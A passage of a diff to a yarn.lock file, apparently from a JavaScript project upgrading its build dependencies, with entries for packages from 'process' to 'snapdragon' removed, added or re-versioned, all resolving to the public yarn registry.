   integrity sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==
 
-process@^0.11.10, process@~0.11.0:
+process@~0.11.0:
   version "0.11.10"
   resolved "https://registry.yarnpkg.com/process/-/process-0.11.10.tgz#7332300e840161bda3e69a1d1d91a7d4bc16f182"
   integrity sha1-czIwDoQBYb2j5podHZGn1LwW8YI=
@@ -5981,11 +5551,6 @@ proxy-addr@~2.0.5:
     forwarded "~0.1.2"
     ipaddr.js "1.9.1"
 
-prr@~1.0.1:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/prr/-/prr-1.0.1.tgz#d3fc114ba06995a45ec6893f484ceb1d78f5f476"
-  integrity sha1-0/wRS6BplaRexok/SEzrHXj19HY=
-
 pseudomap@^1.0.2:
   version "1.0.2"
   resolved "https://registry.yarnpkg.com/pseudomap/-/pseudomap-1.0.2.tgz#f052a28da70e618917ef0a8ac34c1ae5a68286b3"
@@ -6008,37 +5573,12 @@ public-encrypt@^4.0.0:
     randombytes "^2.0.1"
     safe-buffer "^5.1.2"
 
-pump@^2.0.0:
-  version "2.0.1"
-  resolved "https://registry.yarnpkg.com/pump/-/pump-2.0.1.tgz#12399add6e4cf7526d973cbc8b5ce2e2908b3909"
-  integrity sha512-ruPMNRkN3MHP1cWJc9OWr+T/xDP0jhXYCLfJcBuX54hhfIBnaQmAUMfDcG4DM5UMWByBbJY69QSphm3jtDKIkA==
-  dependencies:
-    end-of-stream "^1.1.0"
-    once "^1.3.1"
-
-pump@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/pump/-/pump-3.0.0.tgz#b4a2116815bde2f4e1ea602354e8c75565107a64"
-  integrity sha512-LwZy+p3SFs1Pytd/jYct4wpv49HiYCqd9Rlc5ZVdk0V+8Yzv6jR5Blk3TRmPL1ft69TxP0IMZGJ+WPFU2BFhww==
-  dependencies:
-    end-of-stream "^1.1.0"
-    once "^1.3.1"
-
-pumpify@^1.3.3:
-  version "1.5.1"
-  resolved "https://registry.yarnpkg.com/pumpify/-/pumpify-1.5.1.tgz#36513be246ab27570b1a374a5ce278bfd74370ce"
-  integrity sha512-oClZI37HvuUJJxSKKrC17bZ9Cu0ZYhEAGPsPUy9KlMUmv9dKX2o77RUmq7f3XjIxbwyGwYzbzQ1L2Ks8sIradQ==
-  dependencies:
-    duplexify "^3.6.0"
-    inherits "^2.0.3"
-    pump "^2.0.0"
-
 punycode@1.3.2:
   version "1.3.2"
   resolved "https://registry.yarnpkg.com/punycode/-/punycode-1.3.2.tgz#9653a036fb7c1ee42342f2325cceefea3926c48d"
   integrity sha1-llOgNvt8HuQjQvIyXM7v6jkmxI0=
 
-punycode@^1.2.4, punycode@^1.3.2:
+punycode@^1.3.2:
   version "1.4.1"
   resolved "https://registry.yarnpkg.com/punycode/-/punycode-1.4.1.tgz#c0d5a63b2718800ad8e1eb0fa5269c84dd41845e"
   integrity sha1-wNWmOycYgArY4esPpSachN1BhF4=
@@ -6063,7 +5603,7 @@ qs@~6.5.2:
   resolved "https://registry.yarnpkg.com/qs/-/qs-6.5.2.tgz#cb3ae806e8740444584ef154ce8ee98d403f3e36"
   integrity sha512-N5ZAX4/LxJmF+7wN74pUD6qAh9/wnvdQcjq9TZjevvXzSUo7bfmw91saqMjzGS2xq91/odN2dW/WOl7qQHNDGA==
 
-querystring-es3@^0.2.0, querystring-es3@~0.2.0:
+querystring-es3@~0.2.0:
   version "0.2.1"
   resolved "https://registry.yarnpkg.com/querystring-es3/-/querystring-es3-0.2.1.tgz#9ec61f79049875707d69414596fd907a4d711e73"
   integrity sha1-nsYfeQSYdXB9aUFFlv2Qek1xHnM=
@@ -6073,10 +5613,10 @@ querystring@0.2.0:
   resolved "https://registry.yarnpkg.com/querystring/-/querystring-0.2.0.tgz#b209849203bb25df820da756e747005878521620"
   integrity sha1-sgmEkgO7Jd+CDadW50cAWHhSFiA=
 
-querystringify@^2.1.1:
-  version "2.2.0"
-  resolved "https://registry.yarnpkg.com/querystringify/-/querystringify-2.2.0.tgz#3345941b4153cb9d082d8eee4cda2016a9aef7f6"
-  integrity sha512-FIqgj2EUvTa7R50u0rGsyTftzjYmv/a3hO345bZNrqabNqjtgiDMgmo4mkUjd+nzU5oF3dClKqFIPUKybUyqoQ==
+queue-microtask@^1.2.2:
+  version "1.2.3"
+  resolved "https://registry.yarnpkg.com/queue-microtask/-/queue-microtask-1.2.3.tgz#4929228bbc724dfac43e0efb058caf7b6cfb6243"
+  integrity sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==
 
 randombytes@^2.0.0, randombytes@^2.0.1, randombytes@^2.0.5, randombytes@^2.1.0:
   version "2.1.0"
@@ -6139,7 +5679,7 @@ read-pkg@^1.0.0:
     normalize-package-data "^2.3.2"
     path-type "^1.0.0"
 
-"readable-stream@1 || 2", readable-stream@^2.0.0, readable-stream@^2.0.1, readable-stream@^2.0.2, readable-stream@^2.0.6, readable-stream@^2.1.5, readable-stream@^2.2.2, readable-stream@^2.3.3, readable-stream@^2.3.6, readable-stream@~2.3.6:
+readable-stream@^2.0.1, readable-stream@^2.0.2, readable-stream@^2.0.6, readable-stream@^2.2.2, readable-stream@~2.3.6:
   version "2.3.7"
   resolved "https://registry.yarnpkg.com/readable-stream/-/readable-stream-2.3.7.tgz#1eca1cf711aef814c04f62252a36a62f6cb23b57"
   integrity sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==
@@ -6161,15 +5701,6 @@ readable-stream@^3.0.6, readable-stream@^3.1.1, readable-stream@^3.5.0, readable
     string_decoder "^1.1.1"
     util-deprecate "^1.0.1"
 
-readdirp@^2.2.1:
-  version "2.2.1"
-  resolved "https://registry.yarnpkg.com/readdirp/-/readdirp-2.2.1.tgz#0e87622a3325aa33e892285caf8b4e846529a525"
-  integrity sha512-1JU/8q+VgFZyxwrJ+SVIOsh+KywWGpds3NTqikiKpDMZWScmAYyKIgqkO+ARvNWJfXeXR1zxz7aHF4u4CyH6vQ==
-  dependencies:
-    graceful-fs "^4.1.11"
-    micromatch "^3.1.10"
-    readable-stream "^2.0.2"
-
 readdirp@~3.5.0:
   version "3.5.0"
   resolved "https://registry.yarnpkg.com/readdirp/-/readdirp-3.5.0.tgz#9ba74c019b15d365278d2e91bb8c48d7b4d42c9e"
@@ -6177,6 +5708,13 @@ readdirp@~3.5.0:
   dependencies:
     picomatch "^2.2.1"
 
+rechoir@^0.7.0:
+  version "0.7.0"
+  resolved "https://registry.yarnpkg.com/rechoir/-/rechoir-0.7.0.tgz#32650fd52c21ab252aa5d65b19310441c7e03aca"
+  integrity sha512-ADsDEH2bvbjltXEP+hTIAmeFekTFK0V2BTxMkok6qILyAJEXV0AFfoWcAq4yfll5VdIMd/RVXq0lR+wQi5ZU3Q==
+  dependencies:
+    resolve "^1.9.0"
+
 redent@^1.0.0:
   version "1.0.0"
   resolved "https://registry.yarnpkg.com/redent/-/redent-1.0.0.tgz#cf916ab1fd5f1f16dfb20822dd6ec7f730c2afde"
@@ -6209,14 +5747,6 @@ regenerator-transform@^0.14.2:
   dependencies:
     "@babel/runtime" "^7.8.4"
 
-regex-not@^1.0.0, regex-not@^1.0.2:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/regex-not/-/regex-not-1.0.2.tgz#1f4ece27e00b0b65e0247a6810e6a85d83a5752c"
-  integrity sha512-J6SDjUgDxQj5NusnOtdFxDwN/+HWykR8GELwctJ7mdqhcyy1xEc4SRFHUXvxTp661YaVKAjfRLZ9cCqS6tn32A==
-  dependencies:
-    extend-shallow "^3.0.2"
-    safe-regex "^1.1.0"
-
 regex-parser@^2.2.11:
   version "2.2.11"
   resolved "https://registry.yarnpkg.com/regex-parser/-/regex-parser-2.2.11.tgz#3b37ec9049e19479806e878cabe7c1ca83ccfe58"
@@ -6254,12 +5784,7 @@ regjsparser@^0.6.4:
   dependencies:
     jsesc "~0.5.0"
 
-remove-trailing-separator@^1.0.1:
-  version "1.1.0"
-  resolved "https://registry.yarnpkg.com/remove-trailing-separator/-/remove-trailing-separator-1.1.0.tgz#c24bce2a283adad5bc3f58e0d48249b92379d8ef"
-  integrity sha1-wkvOKig62tW8P1jg1IJJuSN52O8=
-
-renderkid@^2.0.4:
+renderkid@^2.0.5:
   version "2.0.5"
   resolved "https://registry.yarnpkg.com/renderkid/-/renderkid-2.0.5.tgz#483b1ac59c6601ab30a7a596a5965cabccfdd0a5"
   integrity sha512-ccqoLg+HLOHq1vdfYNm4TBeaCDIi1FLt3wGojTDSvdewUv65oTmI3cnT2E4hRjl1gzKZIPK+KZrXzlUYKnR+vQ==
@@ -6270,16 +5795,6 @@ renderkid@^2.0.4:
     lodash "^4.17.20"
     strip-ansi "^3.0.0"
 
-repeat-element@^1.1.2:
-  version "1.1.4"
-  resolved "https://registry.yarnpkg.com/repeat-element/-/repeat-element-1.1.4.tgz#be681520847ab58c7568ac75fbfad28ed42d39e9"
-  integrity sha512-LFiNfRcSu7KK3evMyYOuCzv3L10TW7yC1G2/+StMjK8Y6Vqd2MG7r/Qjw4ghtuCOjFvlnms/iMmLqpvW/ES/WQ==
-
-repeat-string@^1.6.1:
-  version "1.6.1"
-  resolved "https://registry.yarnpkg.com/repeat-string/-/repeat-string-1.6.1.tgz#8dcae470e1c88abc2d600fff4a776286da75e637"
-  integrity sha1-jcrkcOHIirwtYA//Sndihtp15jc=
-
 repeating@^2.0.0:
   version "2.0.1"
   resolved "https://registry.yarnpkg.com/repeating/-/repeating-2.0.1.tgz#5214c53a926d3552707527fbab415dbc08d06dda"
@@ -6328,27 +5843,24 @@ requires-port@^1.0.0:
   resolved "https://registry.yarnpkg.com/requires-port/-/requires-port-1.0.0.tgz#925d2601d39ac485e091cf0da5c6e694dc3dcaff"
   integrity sha1-kl0mAdOaxIXgkc8NpcbmlNw9yv8=
 
-resolve-cwd@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/resolve-cwd/-/resolve-cwd-2.0.0.tgz#00a9f7387556e27038eae232caa372a6a59b665a"
-  integrity sha1-AKn3OHVW4nA46uIyyqNypqWbZlo=
-  dependencies:
-    resolve-from "^3.0.0"
-
-resolve-dir@^1.0.0, resolve-dir@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/resolve-dir/-/resolve-dir-1.0.1.tgz#79a40644c362be82f26effe739c9bb5382046f43"
-  integrity sha1-eaQGRMNivoLybv/nOcm7U4IEb0M=
+resolve-cwd@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.yarnpkg.com/resolve-cwd/-/resolve-cwd-3.0.0.tgz#0f0075f1bb2544766cf73ba6a6e2adfebcb13f2d"
+  integrity sha512-OrZaX2Mb+rJCpH/6CpSqt9xFVpN++x01XnN2ie9g6P5/3xelLAkXWVADpdz1IHD/KFfEXyE6V0U01OQ3UO2rEg==
   dependencies:
-    expand-tilde "^2.0.0"
-    global-modules "^1.0.0"
+    resolve-from "^5.0.0"
 
 resolve-from@^3.0.0:
   version "3.0.0"
   resolved "https://registry.yarnpkg.com/resolve-from/-/resolve-from-3.0.0.tgz#b22c7af7d9d6881bc8b6e653335eebcb0a188748"
   integrity sha1-six699nWiBvItuZTM17rywoYh0g=
 
-resolve-url-loader@^3.0.1:
+resolve-from@^5.0.0:
+  version "5.0.0"
+  resolved "https://registry.yarnpkg.com/resolve-from/-/resolve-from-5.0.0.tgz#c35225843df8f776df21c57557bc087e9dfdfc69"
+  integrity sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw==
+
+resolve-url-loader@^3.1.2:
   version "3.1.2"
   resolved "https://registry.yarnpkg.com/resolve-url-loader/-/resolve-url-loader-3.1.2.tgz#235e2c28e22e3e432ba7a5d4e305c59a58edfc08"
   integrity sha512-QEb4A76c8Mi7I3xNKXlRKQSlLBwjUV/ULFMP+G7n3/7tJZ8MG5wsZ3ucxP1Jz8Vevn6fnJsxDx9cIls+utGzPQ==
@@ -6369,7 +5881,7 @@ resolve-url@^0.2.1:
   resolved "https://registry.yarnpkg.com/resolve-url/-/resolve-url-0.2.1.tgz#2c637fe77c893afd2a663fe21aa9080068e2052a"
   integrity sha1-LGN/53yJOv0qZj/iGqkIAGjiBSo=
 
-resolve@^1.1.4, resolve@^1.10.0, resolve@^1.14.2, resolve@^1.17.0, resolve@^1.4.0:
+resolve@^1.1.4, resolve@^1.10.0, resolve@^1.14.2, resolve@^1.17.0, resolve@^1.4.0, resolve@^1.9.0:
   version "1.20.0"
   resolved "https://registry.yarnpkg.com/resolve/-/resolve-1.20.0.tgz#629a013fb3f70755d6f0b7935cc1c2c5378b1975"
   integrity sha512-wENBPt4ySzg4ybFQW2TT1zMQucPK95HSh/nq2CFTZVOGut2+pQvSsgtda4d26YrYcr067wjbmzOG8byDPBX63A==
@@ -6377,16 +5889,16 @@ resolve@^1.1.4, resolve@^1.10.0, resolve@^1.14.2, resolve@^1.17.0, resolve@^1.4.
     is-core-module "^2.2.0"
     path-parse "^1.0.6"
 
-ret@~0.1.10:
-  version "0.1.15"
-  resolved "https://registry.yarnpkg.com/ret/-/ret-0.1.15.tgz#b8a4825d5bdb1fc3f6f53c2bc33f81388681c7bc"
-  integrity sha512-TTlYpa+OL+vMMNG24xSlQGEJ3B/RzEfUlLct7b5G/ytav+wPrplCpVMFuwzXbkecJrb6IYo1iFb0S9v37754mg==
-
 retry@^0.12.0:
   version "0.12.0"
   resolved "https://registry.yarnpkg.com/retry/-/retry-0.12.0.tgz#1b42a6266a21f07421d1b0b54b7dc167b01c013b"
   integrity sha1-G0KmJmoh8HQh0bC1S33BZ7AcATs=
 
+reusify@^1.0.4:
+  version "1.0.4"
+  resolved "https://registry.yarnpkg.com/reusify/-/reusify-1.0.4.tgz#90da382b1e126efc02146e90845a88db12925d76"
+  integrity sha512-U9nH88a3fc/ekCF1l0/UP1IosiuIjyTh7hBvXVMHYgVcfGvt897Xguj2UOLDeI5BG2m7/uwyaLVT6fbtCwTyzw==
+
 rework-visit@1.0.0:
   version "1.0.0"
   resolved "https://registry.yarnpkg.com/rework-visit/-/rework-visit-1.0.0.tgz#9945b2803f219e2f7aca00adb8bc9f640f842c9a"
@@ -6410,13 +5922,20 @@ rgba-regex@^1.0.0:
   resolved "https://registry.yarnpkg.com/rgba-regex/-/rgba-regex-1.0.0.tgz#43374e2e2ca0968b0ef1523460b7d730ff22eeb3"
   integrity sha1-QzdOLiyglosO8VI0YLfXMP8i7rM=
 
-rimraf@2, rimraf@^2.5.4, rimraf@^2.6.1, rimraf@^2.6.3:
+rimraf@2, rimraf@^2.6.3:
   version "2.7.1"
   resolved "https://registry.yarnpkg.com/rimraf/-/rimraf-2.7.1.tgz#35797f13a7fdadc566142c29d4f07ccad483e3ec"
   integrity sha512-uWjbaKIK3T1OSVptzX7Nl6PvQ3qAGtKEtVRjRuazjfL3Bx5eI409VZSqgND+4UNnmzLVdPj9FqFJNPqBZFve4w==
   dependencies:
     glob "^7.1.3"
 
+rimraf@^3.0.0, rimraf@^3.0.2:
+  version "3.0.2"
+  resolved "https://registry.yarnpkg.com/rimraf/-/rimraf-3.0.2.tgz#f1a5402ba6220ad52cc1282bac1ae3aa49fd061a"
+  integrity sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==
+  dependencies:
+    glob "^7.1.3"
+
 ripemd160@^2.0.0, ripemd160@^2.0.1:
   version "2.0.2"
   resolved "https://registry.yarnpkg.com/ripemd160/-/ripemd160-2.0.2.tgz#a1c1a6f624751577ba5d07914cbc92850585890c"
@@ -6425,12 +5944,12 @@ ripemd160@^2.0.0, ripemd160@^2.0.1:
     hash-base "^3.0.0"
     inherits "^2.0.1"
 
-run-queue@^1.0.0, run-queue@^1.0.3:
-  version "1.0.3"
-  resolved "https://registry.yarnpkg.com/run-queue/-/run-queue-1.0.3.tgz#e848396f057d223f24386924618e25694161ec47"
-  integrity sha1-6Eg5bwV9Ij8kOGkkYY4laUFh7Ec=
+run-parallel@^1.1.9:
+  version "1.2.0"
+  resolved "https://registry.yarnpkg.com/run-parallel/-/run-parallel-1.2.0.tgz#66d1368da7bdf921eb9d95bd1a9229e7f21a43ee"
+  integrity sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==
   dependencies:
-    aproba "^1.1.1"
+    queue-microtask "^1.2.2"
 
 safe-buffer@5.1.2, safe-buffer@~5.1.0, safe-buffer@~5.1.1:
   version "5.1.2"
@@ -6442,13 +5961,6 @@ safe-buffer@>=5.1.0, safe-buffer@^5.0.1, safe-buffer@^5.1.0, safe-buffer@^5.1.1,
   resolved "https://registry.yarnpkg.com/safe-buffer/-/safe-buffer-5.2.1.tgz#1eaf9fa9bdb1fdd4ec75f58f9cdb4e6b7827eec6"
   integrity sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==
 
-safe-regex@^1.1.0:
-  version "1.1.0"
-  resolved "https://registry.yarnpkg.com/safe-regex/-/safe-regex-1.1.0.tgz#40a3669f3b077d1e943d44629e157dd48023bf2e"
-  integrity sha1-QKNmnzsHfR6UPURinhV91IAjvy4=
-  dependencies:
-    ret "~0.1.10"
-
 "safer-buffer@>= 2.1.2 < 3", safer-buffer@^2.0.2, safer-buffer@^2.1.0, safer-buffer@~2.1.0:
   version "2.1.2"
   resolved "https://registry.yarnpkg.com/safer-buffer/-/safer-buffer-2.1.2.tgz#44fa161b0187b9549dd84bb91802f9bd8385cd6a"
@@ -6464,39 +5976,22 @@ sass-graph@2.2.5:
     scss-tokenizer "^0.2.3"
     yargs "^13.3.2"
 
-sass-loader@^7.3:
-  version "7.3.1"
-  resolved "https://registry.yarnpkg.com/sass-loader/-/sass-loader-7.3.1.tgz#a5bf68a04bcea1c13ff842d747150f7ab7d0d23f"
-  integrity sha512-tuU7+zm0pTCynKYHpdqaPpe+MMTQ76I9TPZ7i4/5dZsigE350shQWe5EZNl5dBidM49TPET75tNqRbcsUZWeNA==
+sass-loader@^10.0:
+  version "10.1.1"
+  resolved "https://registry.yarnpkg.com/sass-loader/-/sass-loader-10.1.1.tgz#4ddd5a3d7638e7949065dd6e9c7c04037f7e663d"
+  integrity sha512-W6gVDXAd5hR/WHsPicvZdjAWHBcEJ44UahgxcIE196fW2ong0ZHMPO1kZuI5q0VlvMQZh32gpv69PLWQm70qrw==
   dependencies:
-    clone-deep "^4.0.1"
-    loader-utils "^1.0.1"
-    neo-async "^2.5.0"
-    pify "^4.0.1"
-    semver "^6.3.0"
+    klona "^2.0.4"
+    loader-utils "^2.0.0"
+    neo-async "^2.6.2"
+    schema-utils "^3.0.0"
+    semver "^7.3.2"
 
 sax@~1.2.4:
   version "1.2.4"
   resolved "https://registry.yarnpkg.com/sax/-/sax-1.2.4.tgz#2816234e2378bddc4e5354fab5caa895df7100d9"
   integrity sha512-NqVDv9TpANUjFm0N8uM5GxL36UgKi9/atZw+x7YFnQ8ckwFGKrl4xX4yWtrey3UJm5nP1kUbnYgLopqWNSRhWw==
 
-schema-utils@^0.4.5:
-  version "0.4.7"
-  resolved "https://registry.yarnpkg.com/schema-utils/-/schema-utils-0.4.7.tgz#ba74f597d2be2ea880131746ee17d0a093c68187"
-  integrity sha512-v/iwU6wvwGK8HbU9yi3/nhGzP0yGSuhQMzL6ySiec1FSrZZDkhm4noOSWzrNFo/jEc+SJY6jRTwuwbSXJPDUnQ==
-  dependencies:
-    ajv "^6.1.0"
-    ajv-keywords "^3.1.0"
-
-schema-utils@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/schema-utils/-/schema-utils-1.0.0.tgz#0b79a93204d7b600d4b2850d1f66c2a34951c770"
-  integrity sha512-i27Mic4KovM/lnGsy8whRCHhc7VicJajAjTrYg11K9zfZXnYIt4k5F+kZkwjnrhKzLic/HLU4j11mjsz2G/75g==
-  dependencies:
-    ajv "^6.1.0"
-    ajv-errors "^1.0.0"
-    ajv-keywords "^3.1.0"
-
 schema-utils@^2.6.5:
   version "2.7.1"
   resolved "https://registry.yarnpkg.com/schema-utils/-/schema-utils-2.7.1.tgz#1ca4f32d1b24c590c203b8e7a50bf0ea4cd394d7"
@@ -6506,6 +6001,15 @@ schema-utils@^2.6.5:
     ajv "^6.12.4"
     ajv-keywords "^3.5.2"
 
+schema-utils@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.yarnpkg.com/schema-utils/-/schema-utils-3.0.0.tgz#67502f6aa2b66a2d4032b4279a2944978a0913ef"
+  integrity sha512-6D82/xSzO094ajanoOSbe4YvXWMfn2A//8Y1+MUqFAJul5Bs+yn36xbK9OtNDcRVSBJ9jjeoXftM6CfztsjOAA==
+  dependencies:
+    "@types/json-schema" "^7.0.6"
+    ajv "^6.12.5"
+    ajv-keywords "^3.5.2"
+
 scss-tokenizer@^0.2.3:
   version "0.2.3"
   resolved "https://registry.yarnpkg.com/scss-tokenizer/-/scss-tokenizer-0.2.3.tgz#8eb06db9a9723333824d3f5530641149847ce5d1"
@@ -6536,7 +6040,7 @@ selfsigned@^1.10.8:
   dependencies:
     node-forge "^0.10.0"
 
-"semver@2 || 3 || 4 || 5", semver@^5.5.0, semver@^5.6.0:
+"semver@2 || 3 || 4 || 5":
   version "5.7.1"
   resolved "https://registry.yarnpkg.com/semver/-/semver-5.7.1.tgz#a954f931aeba508d307bbf069eff0c01c96116f7"
   integrity sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==
@@ -6551,7 +6055,7 @@ semver@^6.0.0, semver@^6.1.1, semver@^6.1.2, semver@^6.3.0:
   resolved "https://registry.yarnpkg.com/semver/-/semver-6.3.0.tgz#ee0a64c8af5e8ceea67687b133761e1becbd1d3d"
   integrity sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==
 
-semver@^7.3.2:
+semver@^7.3.2, semver@^7.3.5:
   version "7.3.5"
   resolved "https://registry.yarnpkg.com/semver/-/semver-7.3.5.tgz#0b621c879348d8998e4b0e4be94b3f12e6018ef7"
   integrity sha512-PoeGJYh8HK4BTO/a9Tf6ZG3veo/A7ZVsYrSA6J8ny9nb3B1VrpkuN+z9OE5wfE5p6H4LchYZsegiQgbJD94ZFQ==
@@ -6582,10 +6086,10 @@ send@0.17.1:
     range-parser "~1.2.1"
     statuses "~1.5.0"
 
-serialize-javascript@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.yarnpkg.com/serialize-javascript/-/serialize-javascript-4.0.0.tgz#b525e1238489a5ecfc42afacc3fe99e666f4b1aa"
-  integrity sha512-GaNA54380uFefWghODBWEGisLZFj00nS5ACs6yHa9nLqlLpVLO8ChDGeKRjZnV4Nh4n0Qi7nhYZD/9fCPzEqkw==
+serialize-javascript@^5.0.1:
+  version "5.0.1"
+  resolved "https://registry.yarnpkg.com/serialize-javascript/-/serialize-javascript-5.0.1.tgz#7886ec848049a462467a97d3d918ebb2aaf934f4"
+  integrity sha512-SaaNal9imEO737H2c05Og0/8LUXG7EnsZyMa8MzkmuHoELfT6txuj0cMqRj6zfPKnmQ1yasR4PCJc8x+M4JSPA==
   dependencies:
     randombytes "^2.1.0"
 
@@ -6617,21 +6121,6 @@ set-blocking@^2.0.0, set-blocking@~2.0.0:
   resolved "https://registry.yarnpkg.com/set-blocking/-/set-blocking-2.0.0.tgz#045f9782d011ae9a6803ddd382b24392b3d890f7"
   integrity sha1-BF+XgtARrppoA93TgrJDkrPYkPc=
 
-set-value@^2.0.0, set-value@^2.0.1:
-  version "2.0.1"
-  resolved "https://registry.yarnpkg.com/set-value/-/set-value-2.0.1.tgz#a18d40530e6f07de4228c7defe4227af8cad005b"
-  integrity sha512-JxHc1weCN68wRY0fhCoXpyK55m/XPHafOmK4UWD7m2CI14GMcFypt4w/0+NV5f/ZMby2F6S2wwA7fgynh9gWSw==
-  dependencies:
-    extend-shallow "^2.0.1"
-    is-extendable "^0.1.1"
-    is-plain-object "^2.0.3"
-    split-string "^3.0.1"
-
-setimmediate@^1.0.4:
-  version "1.0.5"
-  resolved "https://registry.yarnpkg.com/setimmediate/-/setimmediate-1.0.5.tgz#290cbb232e306942d7d7ea9b83732ab7856f8285"
-  integrity sha1-KQy7Iy4waULX1+qbg3Mqt4VvgoU=
-
 setprototypeof@1.1.0:
   version "1.1.0"
   resolved "https://registry.yarnpkg.com/setprototypeof/-/setprototypeof-1.1.0.tgz#d0bd85536887b6fe7c0d818cb962d9d91c54e656"
@@ -6664,17 +6153,17 @@ shasum-object@^1.0.0:
   dependencies:
     fast-safe-stringify "^2.0.7"
 
-shebang-command@^1.2.0:
-  version "1.2.0"
-  resolved "https://registry.yarnpkg.com/shebang-command/-/shebang-command-1.2.0.tgz#44aac65b695b03398968c39f363fee5deafdf1ea"
-  integrity sha1-RKrGW2lbAzmJaMOfNj/uXer98eo=
+shebang-command@^2.0.0:
+  version "2.0.0"
+  resolved "https://registry.yarnpkg.com/shebang-command/-/shebang-command-2.0.0.tgz#ccd0af4f8835fbdc265b82461aaf0c36663f34ea"
+  integrity sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==
   dependencies:
-    shebang-regex "^1.0.0"
+    shebang-regex "^3.0.0"
 
-shebang-regex@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/shebang-regex/-/shebang-regex-1.0.0.tgz#da42f49740c0b42db2ca9728571cb190c98efea3"
-  integrity sha1-2kL0l0DAtC2yypcoVxyxkMmO/qM=
+shebang-regex@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.yarnpkg.com/shebang-regex/-/shebang-regex-3.0.0.tgz#ae16f1644d873ecad843b0307b143362d4c42172"
+  integrity sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==
 
 shell-quote@^1.6.1:
   version "1.7.2"
@@ -6686,7 +6175,7 @@ shellwords@^0.1.1:
   resolved "https://registry.yarnpkg.com/shellwords/-/shellwords-0.1.1.tgz#d6b9181c1a48d397324c84871efbcfc73fc0654b"
   integrity sha512-vFwSUfQvqybiICwZY5+DAWIPLKsWO31Q91JSKl3UYv+K5c2QRPzn0qzec6QPu1Qc9eHYItiP3NdJqNVqetYAww==
 
-signal-exit@^3.0.0:
+signal-exit@^3.0.0, signal-exit@^3.0.3:
   version "3.0.3"
   resolved "https://registry.yarnpkg.com/signal-exit/-/signal-exit-3.0.3.tgz#a1410c2edd8f077b08b4e253c8eacfcaf057461c"
   integrity sha512-VUJ49FC8U1OxwZLxIbTTrDvLnf/6TDgxZcK8wxR8zs13xpx7xbG60ndBlhNrFi2EMuFRoeDoJO7wthSLq42EjA==
@@ -6703,6 +6192,11 @@ simple-swizzle@^0.2.2:
   dependencies:
     is-arrayish "^0.3.1"
 
+slash@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.yarnpkg.com/slash/-/slash-3.0.0.tgz#6539be870c165adbd5240220dbe361f1bc4d4634"
+  integrity sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==
+
 slimscroll@^0.9.1:
   version "0.9.1"
   resolved "https://registry.yarnpkg.com/slimscroll/-/slimscroll-0.9.1.tgz#f675cdc601d80ada20f16004d227d156fd1187b2"
@@ -6713,48 +6207,6 @@ slimscroll@^0.9.1:
     domhelper "~0.9.0"
     util-extend "^1.0.1"
 
-snapdragon-node@^2.0.1:
-  version "2.1.1"
-  resolved "https://registry.yarnpkg.com/snapdragon-node/-/snapdragon-node-2.1.1.tgz#6c175f86ff14bdb0724563e8f3c1b021a286853b"
-  integrity sha512-O27l4xaMYt/RSQ5TR3vpWCAB5Kb/czIcqUFOM/C4fYcLnbZUc1PkjTAMjof2pBWaSTwOUd6qUHcFGVGj7aIwnw==
-  dependencies:
-    define-property "^1.0.0"
-    isobject "^3.0.0"
-    snapdragon-util "^3.0.1"
-
-snapdragon-util@^3.0.1:
-  version "3.0.1"
-  resolved "https://registry.yarnpkg.com/snapdragon-util/-/snapdragon-util-3.0.1.tgz#f956479486f2acd79700693f6f7b805e45ab56e2"
-  integrity sha512-mbKkMdQKsjX4BAL4bRYTj21edOf8cN7XHdYUJEe+Zn99hVEYcMvKPct1IqNe7+AZPirn8BCDOQBHQZknqmKlZQ==
-  dependencies:
-    kind-of "^3.2.0"
-
-snapdragon@^0.8.1:
-  version "0.8.2"
-  resolved "https://registry.yarnpkg.com/snapdragon/-/snapdragon-0.8.2.tgz#64922e7c565b0e14204ba1aa7d6964278d25182d"
